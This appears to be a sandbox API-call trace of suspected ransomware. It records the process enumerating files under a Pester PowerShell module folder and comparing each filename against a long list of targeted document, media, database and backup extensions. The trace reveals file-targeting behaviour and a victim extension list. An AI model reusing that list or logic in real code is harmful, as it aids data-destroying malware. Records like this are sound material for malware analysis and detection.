	[0161.366] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\*", lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb531a14c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5dcb26, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ddf40
	[0161.390] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb531a14c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5dcb26, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0161.390] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb537bc07, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a628ff7, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assertions", cAlternateFileName="ASSERT~1")) returned 1
	[0161.390] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45ecde8
	[0161.391] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\Assertions") returned 76
	[0161.391] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\Assertions\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb537bc07, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a628ff7, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0161.409] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb537bc07, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a628ff7, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0161.409] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1021, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Be.ps1", cAlternateFileName="")) returned 1
	[0161.409] lstrlenW (lpString="Be.ps1") returned 6
	[0161.409] lstrlenW (lpString=".1cd") returned 4
	[0161.409] lstrcmpiW (lpString1=".1cd", lpString2=".ps1") returned -1
	[0161.409] lstrlenW (lpString=".3ds") returned 4
	[0161.409] lstrcmpiW (lpString1=".3ds", lpString2=".ps1") returned -1
	[0161.409] lstrlenW (lpString=".3fr") returned 4
	[0161.409] lstrcmpiW (lpString1=".3fr", lpString2=".ps1") returned -1
	[0161.409] lstrlenW (lpString=".3g2") returned 4
	[0161.409] lstrcmpiW (lpString1=".3g2", lpString2=".ps1") returned -1
	[0161.409] lstrlenW (lpString=".3gp") returned 4
	[0161.409] lstrcmpiW (lpString1=".3gp", lpString2=".ps1") returned -1
	[0161.409] lstrlenW (lpString=".7z") returned 3
	[0161.409] lstrcmpiW (lpString1=".7z", lpString2="ps1") returned -1
	[0161.409] lstrlenW (lpString=".accda") returned 6
	[0161.409] lstrcmpiW (lpString1=".accda", lpString2="Be.ps1") returned -1
	[0161.409] lstrlenW (lpString=".accdb") returned 6
	[0161.410] lstrcmpiW (lpString1=".accdb", lpString2="Be.ps1") returned -1
	[0161.410] lstrlenW (lpString=".accdc") returned 6
	[0161.410] lstrcmpiW (lpString1=".accdc", lpString2="Be.ps1") returned -1
	[0161.410] lstrlenW (lpString=".accde") returned 6
	[0161.410] lstrcmpiW (lpString1=".accde", lpString2="Be.ps1") returned -1
	[0161.410] lstrlenW (lpString=".accdt") returned 6
	[0161.410] lstrcmpiW (lpString1=".accdt", lpString2="Be.ps1") returned -1
	[0161.410] lstrlenW (lpString=".accdw") returned 6
	[0161.410] lstrcmpiW (lpString1=".accdw", lpString2="Be.ps1") returned -1
	[0161.410] lstrlenW (lpString=".adb") returned 4
	[0161.410] lstrcmpiW (lpString1=".adb", lpString2=".ps1") returned -1
	[0161.410] lstrlenW (lpString=".adp") returned 4
	[0161.410] lstrcmpiW (lpString1=".adp", lpString2=".ps1") returned -1
	[0161.410] lstrlenW (lpString=".ai") returned 3
	[0161.410] lstrcmpiW (lpString1=".ai", lpString2="ps1") returned -1
	[0161.410] lstrlenW (lpString=".ai3") returned 4
	[0161.410] lstrcmpiW (lpString1=".ai3", lpString2=".ps1") returned -1
	[0161.410] lstrlenW (lpString=".ai4") returned 4
	[0161.410] lstrcmpiW (lpString1=".ai4", lpString2=".ps1") returned -1
	[0161.410] lstrlenW (lpString=".ai5") returned 4
	[0161.410] lstrcmpiW (lpString1=".ai5", lpString2=".ps1") returned -1
	[0161.410] lstrlenW (lpString=".ai6") returned 4
	[0161.411] lstrcmpiW (lpString1=".ai6", lpString2=".ps1") returned -1
	[0161.411] lstrlenW (lpString=".ai7") returned 4
	[0161.411] lstrcmpiW (lpString1=".ai7", lpString2=".ps1") returned -1
	[0161.411] lstrlenW (lpString=".ai8") returned 4
	[0161.411] lstrcmpiW (lpString1=".ai8", lpString2=".ps1") returned -1
	[0161.411] lstrlenW (lpString=".anim") returned 5
	[0161.411] lstrcmpiW (lpString1=".anim", lpString2="e.ps1") returned -1
	[0161.411] lstrlenW (lpString=".arw") returned 4
	[0161.411] lstrcmpiW (lpString1=".arw", lpString2=".ps1") returned -1
	[0161.411] lstrlenW (lpString=".as") returned 3
	[0161.411] lstrcmpiW (lpString1=".as", lpString2="ps1") returned -1
	[0161.505] lstrlenW (lpString=".asa") returned 4
	[0161.505] lstrcmpiW (lpString1=".asa", lpString2=".ps1") returned -1
	[0161.505] lstrlenW (lpString=".asc") returned 4
	[0161.505] lstrcmpiW (lpString1=".asc", lpString2=".ps1") returned -1
	[0161.505] lstrlenW (lpString=".ascx") returned 5
	[0161.505] lstrcmpiW (lpString1=".ascx", lpString2="e.ps1") returned -1
	[0161.505] lstrlenW (lpString=".asm") returned 4
	[0161.506] lstrcmpiW (lpString1=".asm", lpString2=".ps1") returned -1
	[0161.506] lstrlenW (lpString=".asmx") returned 5
	[0161.506] lstrcmpiW (lpString1=".asmx", lpString2="e.ps1") returned -1
	[0161.506] lstrlenW (lpString=".asp") returned 4
	[0161.506] lstrcmpiW (lpString1=".asp", lpString2=".ps1") returned -1
	[0161.506] lstrlenW (lpString=".aspx") returned 5
	[0161.506] lstrcmpiW (lpString1=".aspx", lpString2="e.ps1") returned -1
	[0161.506] lstrlenW (lpString=".asr") returned 4
	[0161.506] lstrcmpiW (lpString1=".asr", lpString2=".ps1") returned -1
	[0161.506] lstrlenW (lpString=".asx") returned 4
	[0161.506] lstrcmpiW (lpString1=".asx", lpString2=".ps1") returned -1
	[0161.506] lstrlenW (lpString=".avi") returned 4
	[0161.506] lstrcmpiW (lpString1=".avi", lpString2=".ps1") returned -1
	[0161.506] lstrlenW (lpString=".avs") returned 4
	[0161.506] lstrcmpiW (lpString1=".avs", lpString2=".ps1") returned -1
	[0161.506] lstrlenW (lpString=".backup") returned 7
	[0161.506] lstrcmpiW (lpString1=".backup", lpString2=".Be.ps1") returned -1
	[0161.506] lstrlenW (lpString=".bak") returned 4
	[0161.506] lstrcmpiW (lpString1=".bak", lpString2=".ps1") returned -1
	[0161.506] lstrlenW (lpString=".bay") returned 4
	[0161.506] lstrcmpiW (lpString1=".bay", lpString2=".ps1") returned -1
	[0161.506] lstrlenW (lpString=".bd") returned 3
	[0161.506] lstrcmpiW (lpString1=".bd", lpString2="ps1") returned -1
	[0161.506] lstrlenW (lpString=".bin") returned 4
	[0161.507] lstrcmpiW (lpString1=".bin", lpString2=".ps1") returned -1
	[0161.507] lstrlenW (lpString=".bmp") returned 4
	[0161.507] lstrcmpiW (lpString1=".bmp", lpString2=".ps1") returned -1
	[0161.507] lstrlenW (lpString=".bz2") returned 4
	[0161.507] lstrcmpiW (lpString1=".bz2", lpString2=".ps1") returned -1
	[0161.507] lstrlenW (lpString=".c") returned 2
	[0161.507] lstrcmpiW (lpString1=".c", lpString2="s1") returned -1
	[0161.507] lstrlenW (lpString=".cdr") returned 4
	[0161.507] lstrcmpiW (lpString1=".cdr", lpString2=".ps1") returned -1
	[0161.507] lstrlenW (lpString=".cer") returned 4
	[0161.507] lstrcmpiW (lpString1=".cer", lpString2=".ps1") returned -1
	[0161.507] lstrlenW (lpString=".cf") returned 3
	[0161.507] lstrcmpiW (lpString1=".cf", lpString2="ps1") returned -1
	[0161.507] lstrlenW (lpString=".cfc") returned 4
	[0161.507] lstrcmpiW (lpString1=".cfc", lpString2=".ps1") returned -1
	[0161.507] lstrlenW (lpString=".cfm") returned 4
	[0161.507] lstrcmpiW (lpString1=".cfm", lpString2=".ps1") returned -1
	[0161.507] lstrlenW (lpString=".cfml") returned 5
	[0161.507] lstrcmpiW (lpString1=".cfml", lpString2="e.ps1") returned -1
	[0161.507] lstrlenW (lpString=".cfu") returned 4
	[0161.507] lstrcmpiW (lpString1=".cfu", lpString2=".ps1") returned -1
	[0161.507] lstrlenW (lpString=".chm") returned 4
	[0161.507] lstrcmpiW (lpString1=".chm", lpString2=".ps1") returned -1
	[0161.507] lstrlenW (lpString=".cin") returned 4
	[0161.507] lstrcmpiW (lpString1=".cin", lpString2=".ps1") returned -1
	[0161.508] lstrlenW (lpString=".class") returned 6
	[0161.508] lstrcmpiW (lpString1=".class", lpString2="Be.ps1") returned -1
	[0161.508] lstrlenW (lpString=".clx") returned 4
	[0161.508] lstrcmpiW (lpString1=".clx", lpString2=".ps1") returned -1
	[0161.508] lstrlenW (lpString=".config") returned 7
	[0161.508] lstrcmpiW (lpString1=".config", lpString2=".Be.ps1") returned 1
	[0161.508] lstrlenW (lpString=".cpp") returned 4
	[0161.508] lstrcmpiW (lpString1=".cpp", lpString2=".ps1") returned -1
	[0161.508] lstrlenW (lpString=".cr2") returned 4
	[0161.508] lstrcmpiW (lpString1=".cr2", lpString2=".ps1") returned -1
	[0161.508] lstrlenW (lpString=".crt") returned 4
	[0161.508] lstrcmpiW (lpString1=".crt", lpString2=".ps1") returned -1
	[0161.508] lstrlenW (lpString=".crw") returned 4
	[0161.508] lstrcmpiW (lpString1=".crw", lpString2=".ps1") returned -1
	[0161.508] lstrlenW (lpString=".cs") returned 3
	[0161.508] lstrcmpiW (lpString1=".cs", lpString2="ps1") returned -1
	[0161.508] lstrlenW (lpString=".css") returned 4
	[0161.508] lstrcmpiW (lpString1=".css", lpString2=".ps1") returned -1
	[0161.508] lstrlenW (lpString=".csv") returned 4
	[0161.508] lstrcmpiW (lpString1=".csv", lpString2=".ps1") returned -1
	[0161.508] lstrlenW (lpString=".cub") returned 4
	[0161.508] lstrcmpiW (lpString1=".cub", lpString2=".ps1") returned -1
	[0161.508] lstrlenW (lpString=".dae") returned 4
	[0161.508] lstrcmpiW (lpString1=".dae", lpString2=".ps1") returned -1
	[0161.509] lstrlenW (lpString=".dat") returned 4
	[0161.509] lstrcmpiW (lpString1=".dat", lpString2=".ps1") returned -1
	[0161.509] lstrlenW (lpString=".db") returned 3
	[0161.509] lstrcmpiW (lpString1=".db", lpString2="ps1") returned -1
	[0161.509] lstrlenW (lpString=".dbf") returned 4
	[0161.509] lstrcmpiW (lpString1=".dbf", lpString2=".ps1") returned -1
	[0161.509] lstrlenW (lpString=".dbx") returned 4
	[0161.509] lstrcmpiW (lpString1=".dbx", lpString2=".ps1") returned -1
	[0161.509] lstrlenW (lpString=".dc3") returned 4
	[0161.509] lstrcmpiW (lpString1=".dc3", lpString2=".ps1") returned -1
	[0161.509] lstrlenW (lpString=".dcm") returned 4
	[0161.509] lstrcmpiW (lpString1=".dcm", lpString2=".ps1") returned -1
	[0161.509] lstrlenW (lpString=".dcr") returned 4
	[0161.509] lstrcmpiW (lpString1=".dcr", lpString2=".ps1") returned -1
	[0161.509] lstrlenW (lpString=".der") returned 4
	[0161.509] lstrcmpiW (lpString1=".der", lpString2=".ps1") returned -1
	[0161.509] lstrlenW (lpString=".dib") returned 4
	[0161.509] lstrcmpiW (lpString1=".dib", lpString2=".ps1") returned -1
	[0161.509] lstrlenW (lpString=".dic") returned 4
	[0161.509] lstrcmpiW (lpString1=".dic", lpString2=".ps1") returned -1
	[0161.509] lstrlenW (lpString=".dif") returned 4
	[0161.509] lstrcmpiW (lpString1=".dif", lpString2=".ps1") returned -1
	[0161.509] lstrlenW (lpString=".divx") returned 5
	[0161.509] lstrcmpiW (lpString1=".divx", lpString2="e.ps1") returned -1
	[0161.509] lstrlenW (lpString=".djvu") returned 5
	[0161.510] lstrcmpiW (lpString1=".djvu", lpString2="e.ps1") returned -1
	[0161.510] lstrlenW (lpString=".dng") returned 4
	[0161.510] lstrcmpiW (lpString1=".dng", lpString2=".ps1") returned -1
	[0161.510] lstrlenW (lpString=".doc") returned 4
	[0161.510] lstrcmpiW (lpString1=".doc", lpString2=".ps1") returned -1
	[0161.510] lstrlenW (lpString=".docm") returned 5
	[0161.510] lstrcmpiW (lpString1=".docm", lpString2="e.ps1") returned -1
	[0161.510] lstrlenW (lpString=".docx") returned 5
	[0161.510] lstrcmpiW (lpString1=".docx", lpString2="e.ps1") returned -1
	[0161.510] lstrlenW (lpString=".dot") returned 4
	[0161.510] lstrcmpiW (lpString1=".dot", lpString2=".ps1") returned -1
	[0161.510] lstrlenW (lpString=".dotm") returned 5
	[0161.510] lstrcmpiW (lpString1=".dotm", lpString2="e.ps1") returned -1
	[0161.510] lstrlenW (lpString=".dotx") returned 5
	[0161.510] lstrcmpiW (lpString1=".dotx", lpString2="e.ps1") returned -1
	[0161.510] lstrlenW (lpString=".dpx") returned 4
	[0161.510] lstrcmpiW (lpString1=".dpx", lpString2=".ps1") returned -1
	[0161.510] lstrlenW (lpString=".dqy") returned 4
	[0161.510] lstrcmpiW (lpString1=".dqy", lpString2=".ps1") returned -1
	[0161.510] lstrlenW (lpString=".dsn") returned 4
	[0161.510] lstrcmpiW (lpString1=".dsn", lpString2=".ps1") returned -1
	[0161.510] lstrlenW (lpString=".dt") returned 3
	[0161.510] lstrcmpiW (lpString1=".dt", lpString2="ps1") returned -1
	[0161.511] lstrlenW (lpString=".dtd") returned 4
	[0161.511] lstrcmpiW (lpString1=".dtd", lpString2=".ps1") returned -1
	[0161.511] lstrlenW (lpString=".dwg") returned 4
	[0161.511] lstrcmpiW (lpString1=".dwg", lpString2=".ps1") returned -1
	[0161.511] lstrlenW (lpString=".dwt") returned 4
	[0161.511] lstrcmpiW (lpString1=".dwt", lpString2=".ps1") returned -1
	[0161.511] lstrlenW (lpString=".dx") returned 3
	[0161.511] lstrcmpiW (lpString1=".dx", lpString2="ps1") returned -1
	[0161.511] lstrlenW (lpString=".dxf") returned 4
	[0161.511] lstrcmpiW (lpString1=".dxf", lpString2=".ps1") returned -1
	[0161.511] lstrlenW (lpString=".edml") returned 5
	[0161.511] lstrcmpiW (lpString1=".edml", lpString2="e.ps1") returned -1
	[0161.511] lstrlenW (lpString=".efd") returned 4
	[0161.511] lstrcmpiW (lpString1=".efd", lpString2=".ps1") returned -1
	[0161.511] lstrlenW (lpString=".elf") returned 4
	[0161.511] lstrcmpiW (lpString1=".elf", lpString2=".ps1") returned -1
	[0161.511] lstrlenW (lpString=".emf") returned 4
	[0161.511] lstrcmpiW (lpString1=".emf", lpString2=".ps1") returned -1
	[0161.511] lstrlenW (lpString=".emz") returned 4
	[0161.511] lstrcmpiW (lpString1=".emz", lpString2=".ps1") returned -1
	[0161.511] lstrlenW (lpString=".epf") returned 4
	[0161.511] lstrcmpiW (lpString1=".epf", lpString2=".ps1") returned -1
	[0161.511] lstrlenW (lpString=".eps") returned 4
	[0161.511] lstrcmpiW (lpString1=".eps", lpString2=".ps1") returned -1
	[0161.511] lstrlenW (lpString=".epsf") returned 5
	[0161.512] lstrcmpiW (lpString1=".epsf", lpString2="e.ps1") returned -1
	[0161.512] lstrlenW (lpString=".epsp") returned 5
	[0161.512] lstrcmpiW (lpString1=".epsp", lpString2="e.ps1") returned -1
	[0161.512] lstrlenW (lpString=".erf") returned 4
	[0161.512] lstrcmpiW (lpString1=".erf", lpString2=".ps1") returned -1
	[0161.512] lstrlenW (lpString=".exr") returned 4
	[0161.512] lstrcmpiW (lpString1=".exr", lpString2=".ps1") returned -1
	[0161.512] lstrlenW (lpString=".f4v") returned 4
	[0161.512] lstrcmpiW (lpString1=".f4v", lpString2=".ps1") returned -1
	[0161.512] lstrlenW (lpString=".fido") returned 5
	[0161.512] lstrcmpiW (lpString1=".fido", lpString2="e.ps1") returned -1
	[0161.512] lstrlenW (lpString=".flm") returned 4
	[0161.512] lstrcmpiW (lpString1=".flm", lpString2=".ps1") returned -1
	[0161.512] lstrlenW (lpString=".flv") returned 4
	[0161.512] lstrcmpiW (lpString1=".flv", lpString2=".ps1") returned -1
	[0161.512] lstrlenW (lpString=".frm") returned 4
	[0161.512] lstrcmpiW (lpString1=".frm", lpString2=".ps1") returned -1
	[0161.512] lstrlenW (lpString=".fxg") returned 4
	[0161.512] lstrcmpiW (lpString1=".fxg", lpString2=".ps1") returned -1
	[0161.512] lstrlenW (lpString=".geo") returned 4
	[0161.512] lstrcmpiW (lpString1=".geo", lpString2=".ps1") returned -1
	[0161.512] lstrlenW (lpString=".gif") returned 4
	[0161.512] lstrcmpiW (lpString1=".gif", lpString2=".ps1") returned -1
	[0161.512] lstrlenW (lpString=".grs") returned 4
	[0161.513] lstrcmpiW (lpString1=".grs", lpString2=".ps1") returned -1
	[0161.513] lstrlenW (lpString=".gz") returned 3
	[0161.513] lstrcmpiW (lpString1=".gz", lpString2="ps1") returned -1
	[0161.513] lstrlenW (lpString=".h") returned 2
	[0161.513] lstrcmpiW (lpString1=".h", lpString2="s1") returned -1
	[0161.513] lstrlenW (lpString=".hdr") returned 4
	[0161.513] lstrcmpiW (lpString1=".hdr", lpString2=".ps1") returned -1
	[0161.513] lstrlenW (lpString=".hpp") returned 4
	[0161.513] lstrcmpiW (lpString1=".hpp", lpString2=".ps1") returned -1
	[0161.513] lstrlenW (lpString=".hta") returned 4
	[0161.513] lstrcmpiW (lpString1=".hta", lpString2=".ps1") returned -1
	[0161.513] lstrlenW (lpString=".htc") returned 4
	[0161.513] lstrcmpiW (lpString1=".htc", lpString2=".ps1") returned -1
	[0161.513] lstrlenW (lpString=".htm") returned 4
	[0161.513] lstrcmpiW (lpString1=".htm", lpString2=".ps1") returned -1
	[0161.513] lstrlenW (lpString=".html") returned 5
	[0161.513] lstrcmpiW (lpString1=".html", lpString2="e.ps1") returned -1
	[0161.513] lstrlenW (lpString=".icb") returned 4
	[0161.513] lstrcmpiW (lpString1=".icb", lpString2=".ps1") returned -1
	[0161.513] lstrlenW (lpString=".ics") returned 4
	[0161.514] lstrcmpiW (lpString1=".ics", lpString2=".ps1") returned -1
	[0161.514] lstrlenW (lpString=".iff") returned 4
	[0161.514] lstrcmpiW (lpString1=".iff", lpString2=".ps1") returned -1
	[0161.514] lstrlenW (lpString=".inc") returned 4
	[0161.514] lstrcmpiW (lpString1=".inc", lpString2=".ps1") returned -1
	[0161.514] lstrlenW (lpString=".indd") returned 5
	[0161.514] lstrcmpiW (lpString1=".indd", lpString2="e.ps1") returned -1
	[0161.514] lstrlenW (lpString=".ini") returned 4
	[0161.514] lstrcmpiW (lpString1=".ini", lpString2=".ps1") returned -1
	[0161.514] lstrlenW (lpString=".iqy") returned 4
	[0161.514] lstrcmpiW (lpString1=".iqy", lpString2=".ps1") returned -1
	[0161.514] lstrlenW (lpString=".j2c") returned 4
	[0161.514] lstrcmpiW (lpString1=".j2c", lpString2=".ps1") returned -1
	[0161.514] lstrlenW (lpString=".j2k") returned 4
	[0161.514] lstrcmpiW (lpString1=".j2k", lpString2=".ps1") returned -1
	[0161.514] lstrlenW (lpString=".java") returned 5
	[0161.514] lstrcmpiW (lpString1=".java", lpString2="e.ps1") returned -1
	[0161.514] lstrlenW (lpString=".jp2") returned 4
	[0161.514] lstrcmpiW (lpString1=".jp2", lpString2=".ps1") returned -1
	[0161.514] lstrlenW (lpString=".jpc") returned 4
	[0161.514] lstrcmpiW (lpString1=".jpc", lpString2=".ps1") returned -1
	[0161.514] lstrlenW (lpString=".jpe") returned 4
	[0161.514] lstrcmpiW (lpString1=".jpe", lpString2=".ps1") returned -1
	[0161.515] lstrlenW (lpString=".jpeg") returned 5
	[0161.515] lstrcmpiW (lpString1=".jpeg", lpString2="e.ps1") returned -1
	[0161.515] lstrlenW (lpString=".jpf") returned 4
	[0161.515] lstrcmpiW (lpString1=".jpf", lpString2=".ps1") returned -1
	[0161.515] lstrlenW (lpString=".jpg") returned 4
	[0161.515] lstrcmpiW (lpString1=".jpg", lpString2=".ps1") returned -1
	[0161.515] lstrlenW (lpString=".jpx") returned 4
	[0161.515] lstrcmpiW (lpString1=".jpx", lpString2=".ps1") returned -1
	[0161.515] lstrlenW (lpString=".js") returned 3
	[0161.515] lstrcmpiW (lpString1=".js", lpString2="ps1") returned -1
	[0161.515] lstrlenW (lpString=".jsf") returned 4
	[0161.515] lstrcmpiW (lpString1=".jsf", lpString2=".ps1") returned -1
	[0161.515] lstrlenW (lpString=".json") returned 5
	[0161.515] lstrcmpiW (lpString1=".json", lpString2="e.ps1") returned -1
	[0161.515] lstrlenW (lpString=".jsp") returned 4
	[0161.515] lstrcmpiW (lpString1=".jsp", lpString2=".ps1") returned -1
	[0161.516] lstrlenW (lpString=".kdc") returned 4
	[0161.516] lstrcmpiW (lpString1=".kdc", lpString2=".ps1") returned -1
	[0161.516] lstrlenW (lpString=".kmz") returned 4
	[0161.516] lstrcmpiW (lpString1=".kmz", lpString2=".ps1") returned -1
	[0161.516] lstrlenW (lpString=".kwm") returned 4
	[0161.516] lstrcmpiW (lpString1=".kwm", lpString2=".ps1") returned -1
	[0161.516] lstrlenW (lpString=".lasso") returned 6
	[0161.516] lstrcmpiW (lpString1=".lasso", lpString2="Be.ps1") returned -1
	[0161.516] lstrlenW (lpString=".lbi") returned 4
	[0161.516] lstrcmpiW (lpString1=".lbi", lpString2=".ps1") returned -1
	[0161.516] lstrlenW (lpString=".lgf") returned 4
	[0161.516] lstrcmpiW (lpString1=".lgf", lpString2=".ps1") returned -1
	[0161.516] lstrlenW (lpString=".lgp") returned 4
	[0161.516] lstrcmpiW (lpString1=".lgp", lpString2=".ps1") returned -1
	[0161.516] lstrlenW (lpString=".log") returned 4
	[0161.516] lstrcmpiW (lpString1=".log", lpString2=".ps1") returned -1
	[0161.516] lstrlenW (lpString=".m1v") returned 4
	[0161.516] lstrcmpiW (lpString1=".m1v", lpString2=".ps1") returned -1
	[0161.516] lstrlenW (lpString=".m4a") returned 4
	[0161.516] lstrcmpiW (lpString1=".m4a", lpString2=".ps1") returned -1
	[0161.516] lstrlenW (lpString=".m4v") returned 4
	[0161.516] lstrcmpiW (lpString1=".m4v", lpString2=".ps1") returned -1
	[0161.516] lstrlenW (lpString=".max") returned 4
	[0161.516] lstrcmpiW (lpString1=".max", lpString2=".ps1") returned -1
	[0161.516] lstrlenW (lpString=".md") returned 3
	[0161.517] lstrcmpiW (lpString1=".md", lpString2="ps1") returned -1
	[0161.517] lstrlenW (lpString=".mda") returned 4
	[0161.517] lstrcmpiW (lpString1=".mda", lpString2=".ps1") returned -1
	[0161.517] lstrlenW (lpString=".mdb") returned 4
	[0161.517] lstrcmpiW (lpString1=".mdb", lpString2=".ps1") returned -1
	[0161.517] lstrlenW (lpString=".mde") returned 4
	[0161.517] lstrcmpiW (lpString1=".mde", lpString2=".ps1") returned -1
	[0161.517] lstrlenW (lpString=".mdf") returned 4
	[0161.517] lstrcmpiW (lpString1=".mdf", lpString2=".ps1") returned -1
	[0161.517] lstrlenW (lpString=".mdw") returned 4
	[0161.517] lstrcmpiW (lpString1=".mdw", lpString2=".ps1") returned -1
	[0161.517] lstrlenW (lpString=".mef") returned 4
	[0161.517] lstrcmpiW (lpString1=".mef", lpString2=".ps1") returned -1
	[0161.517] lstrlenW (lpString=".mft") returned 4
	[0161.517] lstrcmpiW (lpString1=".mft", lpString2=".ps1") returned -1
	[0161.517] lstrlenW (lpString=".mfw") returned 4
	[0161.517] lstrcmpiW (lpString1=".mfw", lpString2=".ps1") returned -1
	[0161.517] lstrlenW (lpString=".mht") returned 4
	[0161.517] lstrcmpiW (lpString1=".mht", lpString2=".ps1") returned -1
	[0161.517] lstrlenW (lpString=".mhtml") returned 6
	[0161.517] lstrcmpiW (lpString1=".mhtml", lpString2="Be.ps1") returned -1
	[0161.517] lstrlenW (lpString=".mka") returned 4
	[0161.517] lstrcmpiW (lpString1=".mka", lpString2=".ps1") returned -1
	[0161.517] lstrlenW (lpString=".mkidx") returned 6
	[0161.517] lstrcmpiW (lpString1=".mkidx", lpString2="Be.ps1") returned -1
	[0161.518] lstrlenW (lpString=".mkv") returned 4
	[0161.518] lstrcmpiW (lpString1=".mkv", lpString2=".ps1") returned -1
	[0161.518] lstrlenW (lpString=".mos") returned 4
	[0161.518] lstrcmpiW (lpString1=".mos", lpString2=".ps1") returned -1
	[0161.518] lstrlenW (lpString=".mov") returned 4
	[0161.518] lstrcmpiW (lpString1=".mov", lpString2=".ps1") returned -1
	[0161.518] lstrlenW (lpString=".mp3") returned 4
	[0161.518] lstrcmpiW (lpString1=".mp3", lpString2=".ps1") returned -1
	[0161.518] lstrlenW (lpString=".mp4") returned 4
	[0161.518] lstrcmpiW (lpString1=".mp4", lpString2=".ps1") returned -1
	[0161.518] lstrlenW (lpString=".mpeg") returned 5
	[0161.518] lstrcmpiW (lpString1=".mpeg", lpString2="e.ps1") returned -1
	[0161.518] lstrlenW (lpString=".mpg") returned 4
	[0161.518] lstrcmpiW (lpString1=".mpg", lpString2=".ps1") returned -1
	[0161.518] lstrlenW (lpString=".mpv") returned 4
	[0161.518] lstrcmpiW (lpString1=".mpv", lpString2=".ps1") returned -1
	[0161.518] lstrlenW (lpString=".mrw") returned 4
	[0161.518] lstrcmpiW (lpString1=".mrw", lpString2=".ps1") returned -1
	[0161.518] lstrlenW (lpString=".msg") returned 4
	[0161.518] lstrcmpiW (lpString1=".msg", lpString2=".ps1") returned -1
	[0161.518] lstrlenW (lpString=".mxl") returned 4
	[0161.518] lstrcmpiW (lpString1=".mxl", lpString2=".ps1") returned -1
	[0161.518] lstrlenW (lpString=".myd") returned 4
	[0161.518] lstrcmpiW (lpString1=".myd", lpString2=".ps1") returned -1
	[0161.519] lstrlenW (lpString=".myi") returned 4
	[0161.519] lstrcmpiW (lpString1=".myi", lpString2=".ps1") returned -1
	[0161.519] lstrlenW (lpString=".nef") returned 4
	[0161.519] lstrcmpiW (lpString1=".nef", lpString2=".ps1") returned -1
	[0161.519] lstrlenW (lpString=".nrw") returned 4
	[0161.519] lstrcmpiW (lpString1=".nrw", lpString2=".ps1") returned -1
	[0161.519] lstrlenW (lpString=".obj") returned 4
	[0161.519] lstrcmpiW (lpString1=".obj", lpString2=".ps1") returned -1
	[0161.519] lstrlenW (lpString=".odb") returned 4
	[0161.519] lstrcmpiW (lpString1=".odb", lpString2=".ps1") returned -1
	[0161.519] lstrlenW (lpString=".odc") returned 4
	[0161.519] lstrcmpiW (lpString1=".odc", lpString2=".ps1") returned -1
	[0161.519] lstrlenW (lpString=".odm") returned 4
	[0161.519] lstrcmpiW (lpString1=".odm", lpString2=".ps1") returned -1
	[0161.519] lstrlenW (lpString=".odp") returned 4
	[0161.519] lstrcmpiW (lpString1=".odp", lpString2=".ps1") returned -1
	[0161.519] lstrlenW (lpString=".ods") returned 4
	[0161.519] lstrcmpiW (lpString1=".ods", lpString2=".ps1") returned -1
	[0161.519] lstrlenW (lpString=".oft") returned 4
